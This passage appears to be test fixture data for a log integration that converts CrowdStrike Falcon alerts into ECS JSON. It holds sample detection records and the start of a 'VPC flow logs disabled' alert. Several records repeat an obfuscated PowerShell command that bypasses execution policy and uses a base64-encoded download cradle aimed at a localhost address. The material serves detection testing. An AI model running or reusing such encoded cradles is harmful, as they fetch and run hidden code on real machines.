bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "SOMEHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "SOMEHOST", - "OTHERHOST" - ], - "user": [ - "OTHERUSER" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ], - "user": { - "name": "OTHERUSER" - } - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "name": "OTHERUSER on OTHERHOST", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z", - "user_name": "SOMEUSER" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "OTHERHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "OTHERHOST" - ], - "user": [ - "SOMEUSER", - "OTHERUSER" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ], - "user": { - "name": "SOMEUSER" - } - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "name": "OTHERUSER on OTHERHOST", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "prevented": true, - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z", - "user_name": "SOMEUSER", - "worker_node_name": "example" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "OTHERHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "OTHERHOST" - ], - "user": [ - "SOMEUSER", - "OTHERUSER" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ], - "user": { - "name": "SOMEUSER" - } - }, - { - "@timestamp": "2025-06-06T10:20:41.789Z", - "crowdstrike": { - "alert": { - "agent_id": "7940b10993e844e398f83bd92aa92b8f", - "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644", - "alleged_filetype": "exe", - "cid": "bdc3e3474d8848f1b8dcf41d41669a14", - "cloud_indicator": false, - "cmdline": "cmd crowdstrike_test_informational", - "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "confidence": 100, - "context_timestamp": "2025-06-06T10:20:41.124Z", - "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644", - "crawled_timestamp": "2025-06-06T10:21:45.624Z", - "created_timestamp": "2025-06-06T10:21:45.624Z", - "data_domains": [ - "Endpoint" - ], - "description": "An informational level detection was triggered on this process for testing purposes.", - "device": { - "agent_load_flags": 1, - "agent_local_time": "2025-06-06T06:28:45.178Z", - "agent_version": "7.24.19607.0", - "bios_manufacturer": "Microsoft Corporation", - "bios_version": "Hyper-V UEFI Release v4.1", - "cid": "bdc3e3474d8848f1b8dcf41d41669a14", - "config_id_base": "65994767", - "config_id_build": "19607", - "config_id_platform": 3, - "external_ip": "81.2.69.144", - "first_seen": "2025-05-29T11:54:43.000Z", - "groups": [ - "f3ba4e75244b4d06837c910a00bf80be" - ], - "hostname": "raquel-win10-3", - "id": "7940b10993e844e398f83bd92aa92b8f", - "last_seen": "2025-06-06T09:44:59.000Z", - "local_ip": "10.0.0.13", - "mac_address": "60-45-BD-D2-D4-37", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2025-06-06T10:18:32.000Z", - "os_version": "Windows 10", - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "status": "normal", - "system_manufacturer": "Microsoft Corporation", - "system_product_name": "Virtual Machine" - }, - "display_name": "TestTriggerInformational", - "email_sent": true, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge", - "filename": "cmd.exe", - "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "global_prevalence": "common", - "grandparent_details": { - "cmdline": "cmd crowdstrike_test_medium", - "filename": "cmd.exe", - "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "local_process_id": "2796", - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315", - "process_id": "17938741315", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "timestamp": "2025-06-06T10:20:21.000Z", - "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", - "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "user_name": "win10_user3" - }, - "has_script_or_module_ioc": false, - "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "is_synthetic_quarantine_disposition": false, - "local_prevalence": "unique", - "local_process_id": "6028", - "logon_domain": "raquel-win10-3", - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "name": "DemoInformationalPattern", - "objective": "Falcon Detection Method", - "parent_details": { - "cmdline": "cmd crowdstrike_test_low", - "filename": "cmd.exe", - "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "local_process_id": "4840", - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135", - "process_id": "17940808135", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "timestamp": "2025-06-06T10:20:32.000Z", - "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", - "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "user_name": "win10_user3" - }, - "parent_process_id": "17940808135", - "pattern_disposition": 0, - "pattern_disposition_description": "Detection, standard detection.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "containment_file_system": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "mfa_required": false, - "operation_blocked": false, - "policy_disabled": false, - "prevention_provisioning_enabled": false, - "process_blocked": false, - "quarantine_file": false, - "quarantine_machine": false, - "registry_operation_blocked": false, - "response_action_already_applied": false, - "response_action_failed": false, - "response_action_triggered": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "10307", - "platform": "Windows", - "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==", - "process_id": "17942810918", - "process_start_time": "2025-06-06T10:20:41.000Z", - "product": "epp", - "scenario": "suspicious_activity", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 10, - "severity_name": "Informational", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "show_in_ui": true, - "source_products": [ - "Falcon Insight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "Falcon Overwatch", - "tactic_id": "CSTA0006", - "technique": "Malicious Activity", - "technique_id": "CST0002", - "template_instance_id": "1339", - "timestamp": "2025-06-06T10:20:41.789Z", - "tree_id": "17181460644", - "tree_root": "17934037600", - "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918", - "type": "ldt", - "updated_timestamp": "2025-06-06T10:21:50.710Z", - "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "user_name": "win10_user3" - } - }, - "device": { - "id": "7940b10993e844e398f83bd92aa92b8f", - "manufacturer": "Microsoft Corporation", - "model": { - "name": "Virtual Machine" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", - "kind": "alert", - "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "hostname": "raquel-win10-3", - "id": "7940b10993e844e398f83bd92aa92b8f", - "ip": [ - "81.2.69.144", - "10.0.0.13" - ], - "mac": [ - "60-45-BD-D2-D4-37" - ], - "os": { - "full": "Windows 10", - "platform": "Windows", - "type": "windows" - } - }, - "message": "An informational level detection was triggered on this process for testing purposes.", - "process": { - "entity_id": "17942810918", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "hash": { - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" - }, - "name": "cmd.exe", - "parent": { - "command_line": "cmd crowdstrike_test_low", - "entity_id": "17940808135", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "hash": { - "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", - "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" - }, - "name": "cmd.exe", - "pid": 17940808135 - }, - "pid": 17942810918, - "start": "2025-06-06T10:20:41.000Z", - "user": { - "id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "name": "win10_user3" - } - }, - "related": { - "hash": [ - "2b40c98ed0f7a1d3b091a3e8353132dc", - "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "raquel-win10-3" - ], - "ip": [ - "81.2.69.144", - "10.0.0.13" - ], - "user": [ - "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", - "S-1-5-21-2765107603-2663188678-2286454264-500", - "win10_user3" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0006" - ], - "name": [ - "Falcon Overwatch" - ] - }, - "technique": { - "id": [ - "CST0002" - ], - "name": [ - "Malicious Activity" - ] - } - }, - "user": { - "id": "S-1-5-21-2765107603-2663188678-2286454264-500", - "name": "win10_user3" - } - }, - { - "@timestamp": "2026-01-27T20:34:37.000Z", - "crowdstrike": { - "alert": { - "cid": "bdc3e3474d8848f1**************", - "composite_id": "bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94", - "crawled_timestamp": "2026-01-27T20:34:47.330Z", - "created_timestamp": "2026-01-27T20:34:47.330Z", - "data_domains": [ - "Cloud" - ], - "display_name": "VPC flow logs disabled", - "event_id": "09a917ca-d430-4cd2-ae55-ceaec7e7dc94", - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/unified-detections/", - "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94", - "mitre_attack": [ - { - "pattern_id": "2036", - "tactic": "Defense Evasion", - "tactic_id": "TA0005", - "technique": "Impair Defenses:Disable Cloud Logs", - "technique_id": "T1562.008" - } - ], - "name": "VPC flow logs disabled", - "pattern_id": "2036", - "poly_id": "", - "product": 